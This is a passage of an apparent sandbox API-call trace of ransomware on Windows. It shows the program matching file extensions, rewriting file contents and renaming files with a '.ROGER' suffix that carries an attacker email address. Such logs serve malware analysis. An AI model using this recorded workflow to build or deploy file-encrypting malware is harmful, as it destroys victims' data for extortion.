(lpString1=".xls", lpString2=".cab") returned 1 [0052.090] lstrlenW (lpString=".xlsx") returned 5 [0052.090] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.090] lstrlenW (lpString=".ppt") returned 4 [0052.090] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.090] lstrlenW (lpString=".zip") returned 4 [0052.090] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.090] lstrlenW (lpString=".rar") returned 4 [0052.090] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.090] lstrlenW (lpString=".bz2") returned 4 [0052.090] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.090] lstrlenW (lpString=".7z") returned 3 [0052.091] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.091] lstrlenW (lpString=".dbf") returned 4 [0052.091] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.091] lstrlenW (lpString=".1cd") returned 4 [0052.091] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.091] lstrlenW (lpString=".jpg") returned 4 [0052.091] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.091] lstrlenW (lpString=".doc") returned 4 [0052.091] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.091] lstrlenW (lpString=".docx") returned 5 [0052.091] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.091] lstrlenW (lpString=".pdf") returned 4 [0052.091] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.091] lstrlenW (lpString=".xls") returned 4 [0052.091] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.091] lstrlenW (lpString=".xlsx") returned 5 [0052.091] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.091] lstrlenW (lpString=".ppt") returned 4 [0052.091] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.091] lstrlenW (lpString=".zip") returned 4 [0052.091] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.091] lstrlenW (lpString=".rar") returned 4 [0052.091] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.091] lstrlenW (lpString=".bz2") returned 4 [0052.091] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.091] lstrlenW (lpString=".7z") returned 3 [0052.091] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.092] lstrlenW (lpString=".dbf") returned 4 [0052.092] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.092] lstrlenW (lpString=".1cd") returned 4 [0052.092] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0052.092] lstrlenW (lpString=".jpg") returned 4 [0052.092] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.092] lstrcmpiW (lpString1=".xrm-ms", lpString2=".ROGER") returned 1 [0052.092] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0052.092] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.092] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=715834) returned 1 [0052.092] CloseHandle (hObject=0x3e8) returned 1 [0052.293] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0052.293] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.293] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.293] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.293] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.294] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0052.295] GetLastError () returned 0x0 [0052.295] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0052.311] WriteFile (in: hFile=0x350, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0052.330] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.330] WriteFile (in: hFile=0x350, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x104, lpOverlapped=0x0) returned 1 [0052.330] SetEndOfFile (hFile=0x350) returned 1 [0052.330] CloseHandle (hObject=0x350) returned 1 [0052.331] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.331] SetEndOfFile (hFile=0x3e8) returned 1 [0052.337] CloseHandle (hObject=0x3e8) returned 1 [0052.337] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0052.337] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0052.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.337] lstrlenW (lpString=".doc") returned 4 [0052.338] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0052.338] lstrlenW (lpString=".docx") returned 5 [0052.338] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0052.338] lstrlenW (lpString=".pdf") returned 4 [0052.338] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0052.338] lstrlenW (lpString=".xls") returned 4 [0052.338] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0052.338] lstrlenW (lpString=".xlsx") returned 5 [0052.338] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0052.338] lstrlenW (lpString=".ppt") returned 4 [0052.338] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0052.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.338] lstrlenW (lpString=".zip") returned 4 [0052.338] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0052.338] lstrlenW (lpString=".rar") returned 4 [0052.338] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0052.338] lstrlenW (lpString=".bz2") returned 4 [0052.338] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0052.338] lstrlenW (lpString=".7z") returned 3 [0052.338] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0052.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.338] lstrlenW (lpString=".dbf") returned 4 [0052.338] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0052.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.338] lstrlenW (lpString=".1cd") returned 4 [0052.338] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0052.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.338] lstrlenW (lpString=".jpg") returned 4 [0052.338] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0052.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.339] lstrlenW (lpString=".doc") returned 4 [0052.339] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0052.339] lstrlenW (lpString=".docx") returned 5 [0052.339] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0052.339] lstrlenW (lpString=".pdf") returned 4 [0052.339] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0052.339] lstrlenW (lpString=".xls") returned 4 [0052.339] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0052.339] lstrlenW (lpString=".xlsx") returned 5 [0052.339] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0052.339] lstrlenW (lpString=".ppt") returned 4 [0052.339] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0052.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.339] lstrlenW (lpString=".zip") returned 4 [0052.339] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0052.339] lstrlenW (lpString=".rar") returned 4 [0052.339] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0052.339] lstrlenW (lpString=".bz2") returned 4 [0052.339] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0052.339] lstrlenW (lpString=".7z") returned 3 [0052.339] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0052.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.339] lstrlenW (lpString=".dbf") returned 4 [0052.339] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0052.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.339] lstrlenW (lpString=".1cd") returned 4 [0052.339] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0052.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0052.339] lstrlenW (lpString=".jpg") returned 4 [0052.339] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0052.340] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0052.340] lstrlenW (lpString="VisiorWW.msi") returned 12 [0052.340] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.340] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=12060672) returned 1 [0052.340] CloseHandle (hObject=0x3e8) returned 1 [0052.340] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0052.340] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.340] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0052.341] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.341] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.341] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.341] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.515] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.515] ReadFile (in: hFile=0x3e8, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.523] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.523] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.523] ReadFile (in: hFile=0x3e8, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.538] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.538] WriteFile (in: hFile=0x3e8, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0052.559] SetEndOfFile (hFile=0x3e8) returned 1 [0052.559] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0052.559] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.559] WriteFile (in: hFile=0x3e8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.560] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.560] WriteFile (in: hFile=0x3e8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.634] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.634] WriteFile (in: hFile=0x3e8, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.636] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0052.637] CloseHandle (hObject=0x3e8) returned 1 [0052.637] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0052.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.637] lstrlenW (lpString=".doc") returned 4 [0052.637] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.637] lstrlenW (lpString=".docx") returned 5 [0052.638] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0052.638] lstrlenW (lpString=".pdf") returned 4 [0052.638] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.638] lstrlenW (lpString=".xls") returned 4 [0052.638] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.638] lstrlenW (lpString=".xlsx") returned 5 [0052.638] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0052.638] lstrlenW (lpString=".ppt") returned 4 [0052.638] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.638] lstrlenW (lpString=".zip") returned 4 [0052.638] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.638] lstrlenW (lpString=".rar") returned 4 [0052.638] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.638] lstrlenW (lpString=".bz2") returned 4 [0052.638] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.638] lstrlenW (lpString=".7z") returned 3 [0052.638] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.638] lstrlenW (lpString=".dbf") returned 4 [0052.638] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.638] lstrlenW (lpString=".1cd") returned 4 [0052.638] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.639] lstrlenW (lpString=".jpg") returned 4 [0052.639] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.639] lstrlenW (lpString=".doc") returned 4 [0052.639] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.639] lstrlenW (lpString=".docx") returned 5 [0052.639] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0052.639] lstrlenW (lpString=".pdf") returned 4 [0052.639] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.639] lstrlenW (lpString=".xls") returned 4 [0052.639] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.639] lstrlenW (lpString=".xlsx") returned 5 [0052.639] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0052.639] lstrlenW (lpString=".ppt") returned 4 [0052.639] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.639] lstrlenW (lpString=".zip") returned 4 [0052.639] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.639] lstrlenW (lpString=".rar") returned 4 [0052.639] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.639] lstrlenW (lpString=".bz2") returned 4 [0052.640] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.640] lstrlenW (lpString=".7z") returned 3 [0052.640] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.640] lstrlenW (lpString=".dbf") returned 4 [0052.640] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.640] lstrlenW (lpString=".1cd") returned 4 [0052.640] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0052.640] lstrlenW (lpString=".jpg") returned 4 [0052.640] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.640] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0052.640] lstrlenW (lpString="EEINTL.DLL") returned 10 [0052.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.641] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=64096) returned 1 [0052.641] CloseHandle (hObject=0x3e8) returned 1 [0052.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0052.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.642] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.642] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0052.642] GetLastError () returned 0x0 [0052.642] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, 